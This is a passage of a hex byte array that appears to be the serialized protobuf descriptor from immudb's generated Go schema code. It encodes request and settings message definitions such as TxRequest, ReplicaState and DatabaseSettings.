0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xd9, 0x01, 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x42, 0x0a, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, 0x0d, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, 0x01, 0x0a, 0x0d, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, 0x2e, 0x0a, 0x08, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc0, 0x03, 0x0a, 0x10, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x66, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x6d, 0x61, 0x78, 0x4b, 0x65, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x20, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x22, 0x92, 0x01, 0x0a, 0x15, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x69, 0x66, 0x4e, 0x6f, 0x74, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x16, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x26, 0x0a, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x61, 0x6c, 0x72, 0x65, 0x61, 0x64, 0x79, 0x45, 0x78, 0x69, 0x73, 0x74, 0x65, 0x64, 0x22, 0x78, 0x0a, 0x15, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x79, 0x0a, 0x16, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 